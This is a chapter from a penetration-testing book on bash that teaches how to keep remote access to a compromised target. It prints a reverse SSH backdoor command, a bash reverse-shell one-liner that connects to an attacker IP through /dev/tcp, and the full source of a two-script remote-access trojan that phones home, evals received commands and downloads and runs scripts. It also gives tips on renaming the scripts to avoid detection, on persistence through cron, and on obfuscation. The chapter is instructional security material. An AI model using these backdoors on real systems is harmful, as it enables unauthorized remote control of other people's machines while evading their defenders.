Chapter 16. Establishing a Foothold

After exploiting a target system and gaining access, the next step is to establish a foothold by using a remote-access tool. A remote-access tool is a critical component of any penetration test, as it allows you to execute commands remotely on a system as well as maintain access to the system over time.

Commands in Use

In this chapter, we introduce the nc command to create network connections.

nc

The nc command, also known as netcat, can be used to create TCP and UDP connections and listeners. It is available on most Linux distributions by default, but not Git Bash or Cygwin.

Common command options

-l

Listen for incoming connections (act as a server)

-n

Do not perform a DNS lookup

-p

The source port to connect from or listen on

-v

Verbose mode

Command example

To initialize a connection to O’Reilly.com on destination port 80:

nc www.oreilly.com 80

To listen for incoming connections on port 8080:

$ nc -l -v -n -p 8080

listening on [any] 8080 ...

Single-Line Backdoors

There is no better way to keep a low profile during a penetration test than by using tools that already exist on a target system to accomplish your task. There are a couple of ways you can create backdoors on a system to maintain access, and they require only a single line of commands and tools that are already available on most Linux systems!

Reverse SSH

Creating a reverse SSH connection is a simple and effective way of maintaining access to a system. Setting up a reverse SSH connection requires no scripting, and can be done simply by running a single command.

In a typical network connection, the client is the system that initiates the connection, as shown in Figure 16-1.

An image of a SSH connection from a client to a server
Figure 16-1. Normal SSH connection

The reverse SSH connection is different, and is named such because the SSH server ultimately initiates a connection to the client (target). In this scenario, the target system first initiates a connection to the attacker system. The attacker then uses SSH to connect from the attacker system back into the attacker system. Lastly, the attacker’s connection is forwarded through the existing connection back to the target, thus creating a reverse SSH session.

An image of a reverse SSH connection from a client to a server, and then from the server back to the client
Figure 16-2. Reverse SSH connection

To set up the reverse SSH connection on the target system:

ssh -R 12345:localhost:22 user@remoteipaddress

The -R option enables remote port forwarding. The first number, 12345, specifies the port number that the remote system (attacker) will use to SSH back into the target. The localhost:22 argument specifies the port number that the target system will listen on to receive a connection.

This, in essence, creates an outbound connection from the target system to the SSH server that will allow the attacker to create an SSH connection back into the target. By creating this reverse SSH connection (server to client), the attacker will be able to remotely execute commands on the target system. Because the connection was initiated by the target, it will likely not be hindered by firewall rules on the target’s network, since outbound filtering is typically not as restrictive as inbound filtering.

To set up a reverse SSH connection from the attacker system after the target has connected:

ssh localhost -p 12345

Note that you will need to provide login credentials to complete the connection back to the target system.

Bash Backdoor

The key to any remote-access tool is the ability to create a network connection. As shown in Chapter 10, bash allows you to create network connections by using the special file handles /dev/tcp and /dev/udp. That capability can also be used to set up remote access on the target system:

/bin/bash -i  < /dev/tcp/192.168.10.5/8080 1>&0 2>&0

Even though it is only one line, a lot is happening here, so let’s break it down:

/bin/bash -i

This invokes a new instance of bash and runs it in interactive mode.

< /dev/tcp/192.168.10.5/8080

This creates a TCP connection to the attacker system at 192.168.10.5 on port 8080 and redirects it as input into the new bash instance. Replace the IP address and port with that of your attacker system.

1>&0 2>&0

This redirects both stdout (file descriptor 1) and stderr (file descriptor 2) to stdin (file descriptor 0). In this case, stdin is mapped to the TCP connection that was just created.

Warning

The order of redirection is important. You want to open the socket first, and then redirect the file descriptors to use the socket.

On the attacker system, you need to have a server port listing for the connection from the target. To do that, you can use nc:

$ nc -l -v -p 8080

listening on [any] 8080

Make sure you set the nc listener to the same port number you plan to specify from the backdoor. When the backdoor connects, it may appear that nc has exited, because you see a shell prompt. In actuality, nc remains open and a new shell is spawned. Any commands entered into this new shell will be executed on the remote system.

Warning

The single-line bash backdoor is simple in nature and does not perform any encryption of the network connection. Network defenders, or anyone else observing the connection, will be able to read it as plain text.

Custom Remote-Access Tool

Although a single-line backdoor is effective, you can create a more customized capability using a full bash script. Here are the requirements for such a script:

  • The tool will be able to connect to a specified server and port.

  • The tool will receive a command from the server, execute it on the local system, and output any results back to the server.

  • The tool will be able to execute scripts sent to it from the server.

  • The tool will close the network connection when it receives the quit command from the server.

Figure 16-3 shows an overview of how the logic between the remote-access tool on the attacker system (LocalRat.sh) and the remote-access tool on the target system (RemoteRat.sh) functions.

An image showing the network protocol logic for the remote access tool
Figure 16-3. Remote-access tool logic

Implementation

This tool consists of two scripts. The script LocalRat.sh is executed first on the attacker’s own system. It listens for a connection from the second script, RemoteRat.sh, which is run on the target system. The RemoteRat.sh script opens a TCP socket connection back to the local, attacking, system.

What happens next? An nc listener running on the attacking system will receive a connection from the socket and provide remote control to the attacker. Output from the bash shell running on the compromised system will appear on the attacking system’s screen, beginning with a prompt. Any text typed on the keyboard of the attacking system is sent via the TCP connection to the program running on the compromised system. That program is bash, so the attacker can type any valid bash commands, and they will be executed on the compromised system, and the resulting output (and error messages) will appear on the attacking system. It’s a remote shell, but invoked in reverse.

Let’s take a closer look at the statements used to build such a pair of scripts; see Example 16-1, which creates a listener and waits for the target system to call back.

Tip

During an actual penetration test, you would want to rename these scripts to something more generic or common to help avoid detection.

Example 16-1. LocalRat.sh
#!/bin/bash -
#
# Cybersecurity Ops with bash
# LocalRat.sh
#
# Description:
# Remote access tool to be on a local system,
# it listens for a connection from the remote system
# and helps with any file transfer requested
#
# Usage:  LocalRat.sh  port1 [port2 [port3]]
#
#

# define our background file transfer daemon
function bgfilexfer ()
{
    while true
    do
        FN=$(nc -nlvvp $HOMEPORT2 2>>/tmp/x2.err)       3
        if [[ $FN == 'exit' ]] ; then exit ; fi
        nc -nlp $HOMEPORT3 < $FN                        4
    done
}


# -------------------- main ---------------------
HOMEPORT=$1
HOMEPORT2=${2:-$((HOMEPORT+1))}
HOMEPORT3=${3:-$((HOMEPORT2+1))}

# initiate the background file transfer daemon
bgfilexfer &                                            1

# listen for an incoming connection
nc -nlvp $HOMEPORT                                      2

The LocalRat.sh script is the passive or reactive side of the pair of scripts; it waits to hear from the RemoteRat.sh script and then it reacts to those requests. It needs to be talking on the same ports, so those numbers, specified on the command line, need to match between the two scripts.

So what does the LocalRat.sh script do? Here are some key points:

1

It begins by launching into the background the file transfer “daemon.”

2

Here the script waits for an incoming connection from the remote script. The use of the nc command is crucial here because the bash network file descriptor (/dev/tcp) cannot perform a TCP wait.

3

Our file-transfer function also begins by listening, but to the second port number. What it expects to hear from that socket is a filename.

4

Another call to nc—this time to send the file requested in the previous communication. It’s a network cat command, so it’s just a matter of supplying the file as the input to the command, connecting to the third port number.

The script in Example 16-2 establishes a TCP connection from the remote (target) system.

Example 16-2. RemoteRat.sh
#!/bin/bash -
#
# Cybersecurity Ops with bash
# RemoteRat.sh
#
# Description:
# Remote access tool to be run on the remote system;
# mostly hands any input to the shell
# but if indicated (with a !) fetch and run a script
#
# Usage:  RemoteRat.sh  hostname port1 [port2 [port3]]
#


function cleanup ()
{
    rm -f $TMPFL
}

function runScript ()
{
    # tell 'em what script we want
    echo "$1" > /dev/tcp/${HOMEHOST}/${HOMEPORT2}     7
    # stall
    sleep 1                                           8
    if [[ $1 == 'exit' ]] ; then exit ; fi
    cat > $TMPFL </dev/tcp/${HOMEHOST}/${HOMEPORT3}   9
    bash $TMPFL                                       10
}

# -------------------  MAIN -------------------
# could do some error checking here
HOMEHOST=$1
HOMEPORT=$2
HOMEPORT2=${3:-$((HOMEPORT+1))}
HOMEPORT3=${4:-$((HOMEPORT2+1))}

TMPFL="/tmp/$$.sh"
trap cleanup EXIT

# phone home:
exec  </dev/tcp/${HOMEHOST}/${HOMEPORT} 1>&0 2>&0     1

while true
do
    echo -n '$ '                                      2
    read -r                                           3
    if [[ ${REPLY:0:1} == '!' ]]                      4
    then
	# it's a script
        FN=${REPLY:1}                                 5
	runScript $FN
    else
	# normal case - run the cmd
	eval "$REPLY"                                 6
    fi
done
1

We’ve seen this redirecting before, connecting stdin, stdout, and stderr to the TCP socket. The connection is being made back to the LocalRat.sh script’s nc command, which has been waiting for this connection. What may seem odd, however, is the exec built-in command here. It is normally used to start up another program in place of the shell. When no command is supplied (as is the case here), it simply establishes all the redirections, and execution continues with the new I/O connections. From here on out, whenever the script writes to stdout or stderr, it will be writing it to the TCP socket; reading from stdin will read from the socket.

2

The first bit of output is a prompt-like string so that the user on the remote system knows to begin typing. The -n option omits the newline, so it looks like a prompt.

3

The read statement reads the user’s input (via the TCP socket); the -r option tells the read to treat a backslash like a normal character; no special interpretation is done while reading a string containing backslashes.

4

If the first character of the user’s reply is an exclamation mark (aka bang), then (according to our design) the user is asking to upload a script.

5

This substring is the reply without the bang, starting at index 1 through the end of the string. We could have done that inline when invoking the runScript function, rather than as two separate steps.

6

The heart of the script is right on this line. The user has sent a string over the TCP socket that this script reads. We are executing the commands in that string by running eval on that string. If the attacker sent the string ls, the ls command would be run and its output returned to the attacker.

Warning

We are running the commands inside this script, as if they were part of this script. Any changes to variables that these commands make are changes that could affect this script. This setup is not ideal. It might be better to have a separate instance of the shell to which we hand off the commands; we have taken the simpler approach here.

7

When asked to run a script, the runScript function is called and its first action is to send the name of the script back down to the attacker’s system (where the script would reside). The redirection of stdout establishes the connection via the second port number.

8

The purpose of the sleep is to give time for the data to make it to the other system and give that system time to react and respond. The length of the sleep may need to be increased in the event of extreme network latency.

9

If all has gone well at the other end, this connection—the redirect of stdin—should connect with the attacker’s system, and the contents of the requested script should be available for reading from stdin. We save the output into the temporary file.

10

Now that we have the file, we can execute it with bash. Where does its output go? Remember the redirect that we did with the exec statement? Because we aren’t redirecting anything when we invoke bash $TMPFL, stdout is still connected to the TCP port, and output will show up on the attacker’s screen.

Are there other ways we could have implemented such a pair of scripts? Of course. But this pair should give you a feel for what is possible with bash and how simple each step is—yet how powerful the combination of them all is.

Summary

Maintaining remote access to a target system is an important step during a penetration test. It allows you to reach back into the target network when necessary. The key to any good remote-access tool is remaining undetected, so take that into consideration when choosing your method.

The methods presented will not survive a system reboot. To address that, be sure to tie their startup to a login script, cron job, or other mechanism that will execute it when the system boots.

Next, we switch gears and look at how the command line and bash can be used for network and security administration.

Workshop

  1. Write the command to set up an SSH backdoor on a target system. The target system should listen on port 22, and the attacker should connect back using local port 1337. The IP address of the attacker system is 10.0.0.148, and the user is root.

  2. Obfuscate RemoteRat.sh by encrypting it via one of the methods described in Chapter 14.

  3. Expand LocalRat.sh so that it automatically sends a series of commands to execute on the target system when RemoteRat.sh makes a connection. The list of commands can be read from a file on the attacker system and the command output saved to a file on the same system.

Visit the Cybersecurity Ops website for additional resources and the answers to these questions.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset